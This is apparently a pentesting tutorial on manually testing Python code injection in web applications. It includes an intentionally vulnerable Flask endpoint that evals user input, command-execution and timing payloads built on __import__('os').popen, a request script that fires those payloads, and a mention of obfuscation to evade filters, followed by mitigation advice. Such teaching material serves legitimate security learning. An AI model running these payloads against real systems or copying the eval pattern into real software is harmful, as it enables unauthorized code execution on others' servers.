Learn Pentesting: Manual Testing for Python Code Injection in Web Applications
In this installment of our “Learn Pentesting” series, we’re diving deep into one of the more insidious vulnerabilities in web applications—Python code injection. Python’s flexibility and dynamic nature make it a powerful tool for developers but, when misused, can open up significant security holes. This article will walk you through the methodology and techniques for manually testing Python code injection, complete with code examples and testing scripts to use during penetration tests.
Understanding Python Code Injection
Python code injection occurs when an application insecurely processes user-supplied input by passing it to functions like eval()
, exec()
, or other dynamic execution methods. In these cases, if an attacker can control the input, they might inject malicious code leading to arbitrary command execution, data exfiltration, or even complete system compromise.
Common Scenarios Include:
- Direct Evaluation: Using
eval()
orexec()
on untrusted input. - Dynamic Attribute Access: Unsanitized use of
getattr()
orsetattr()
. - Unsafe Deserialization: Unprotected deserialization with modules like
pickle
or custom deserializers.
Setting Up a Vulnerable Environment
Before diving into exploitation techniques, it’s crucial to recreate a controlled environment where you can safely test payloads. Consider a simple web application built with Flask that accepts user input and directly evaluates it.
Below is an example of a vulnerable Flask endpoint:
from flask import Flask, request
app = Flask(__name__)
@app.route('/process', methods=['GET'])
def process():
# Retrieve user input from a query parameter
user_input = request.args.get('input')
try:
# Directly evaluating user input (vulnerable!)
result = eval(user_input)
except Exception as e:
return f"Error: {e}", 400
return str(result)
if __name__ == '__main__':
app.run(debug=True)
Note: This code is intentionally vulnerable for educational purposes only. Never use such patterns in production.
Run this application in a secure, isolated environment to practice your tests.
Manual Testing Methodology
Identifying the Injection Point
The first step in testing for Python code injection is to locate where the application might be unsafely processing user input. Look for parameters or inputs that are passed directly into Python functions like eval()
or exec()
. In our example, the input
query parameter is a candidate.
Initial Testing:
- Start with benign expressions like
1+1
or2*3
to observe expected behavior. - Analyze error messages that could provide clues about how the input is processed.
Crafting and Deploying Payloads
Once you’ve confirmed that the input is being evaluated, you can craft payloads to probe the extent of the vulnerability.
Simple Payload Example:
Try an arithmetic expression:
1+1
If the server returns 2
, it confirms that the expression is evaluated.
Payload for Arbitrary Code Execution:
A typical attack payload may attempt to import the os
module and execute a system command:
(__import__('os').popen('id').read())
If the endpoint is vulnerable, this payload could execute the id
command on a Unix system and return the output.
Payload for Timing-Based Testing:
If output is suppressed or you need to confirm the vulnerability indirectly, you can use a delay:
(__import__('time').sleep(5))
Measure the response time to infer that the payload was executed.
Code Examples for Manual Testing
Testing a Vulnerable Endpoint
Here’s a simple Python script to send requests to the vulnerable Flask endpoint and test for code injection:
import requests
import time
# Target URL for the vulnerable endpoint
target_url = "http://127.0.0.1:5000/process"
# Define test payloads
payloads = {
"arithmetic": "1+1",
"command_execution": "(__import__('os').popen('id').read())",
"timing": "(__import__('time').sleep(5))"
}
def test_payload(payload_name, payload):
print(f"\nTesting payload: {payload_name}")
params = {"input": payload}
start = time.time()
response = requests.get(target_url, params=params)
duration = time.time() - start
print(f"Response ({duration:.2f} sec): {response.text}")
# Iterate through payloads and test
for name, payload in payloads.items():
test_payload(name, payload)
What This Script Does:
- Arithmetic Test: Checks if the endpoint processes basic arithmetic expressions.
- Command Execution Test: Attempts to run a system command (
id
), with output visible if successful. - Timing Test: Uses a sleep delay to help confirm code execution if direct output isn’t observable.
Advanced Payload Techniques
In some cases, input sanitization or filtering may block straightforward payloads. Here are advanced techniques you might consider:
Using Alternative Import Mechanisms
Bypassing simple filters might require alternative methods for importing modules. For instance, using the built-in __import__
function directly can sometimes bypass naive string-based filters.
Chaining Functions
Combine multiple functions to both bypass filters and confirm execution. For example, using a payload that both delays execution and returns a value can help validate the vulnerability:
(__import__('time').sleep(3) or 1+1)
This payload delays the response by 3 seconds and then evaluates 1+1
to return 2
.
Obfuscation Techniques
If the application applies simple blacklists, consider encoding your payload (e.g., using Unicode or alternative syntax) to avoid detection. Always ensure you document your testing process, as these techniques should be used strictly within authorized environments.
Mitigation Strategies and Best Practices
While the focus of this article is on testing, it’s critical to understand how to remediate Python code injection vulnerabilities. Here are some best practices:
- Avoid
eval()
andexec()
: Whenever possible, remove the use of dynamic code execution. - Use Safe Alternatives: For evaluating expressions, use
ast.literal_eval()
, which safely evaluates literals. - Input Validation and Sanitization: Implement strict input validation to reject any input that does not conform to expected patterns.
- Least Privilege: Limit the capabilities of the application process to minimize potential damage from any exploitation.
- Security Reviews: Regularly audit code for unsafe patterns and keep dependencies up to date.
Conclusion
Python code injection is a potent vulnerability that can lead to severe consequences if left unchecked. This technical deep-dive has explored the manual testing methodology, provided sample vulnerable code, and demonstrated payloads to help you identify and confirm such vulnerabilities in web applications. Remember, the techniques described here are intended for use in authorized penetration testing environments only. Always follow ethical guidelines and legal requirements when conducting security assessments.
Happy testing, and stay secure!
Numorian is dedicated to advancing cybersecurity knowledge through hands-on technical insights. Stay tuned for more articles in our “Learn Pentesting” series.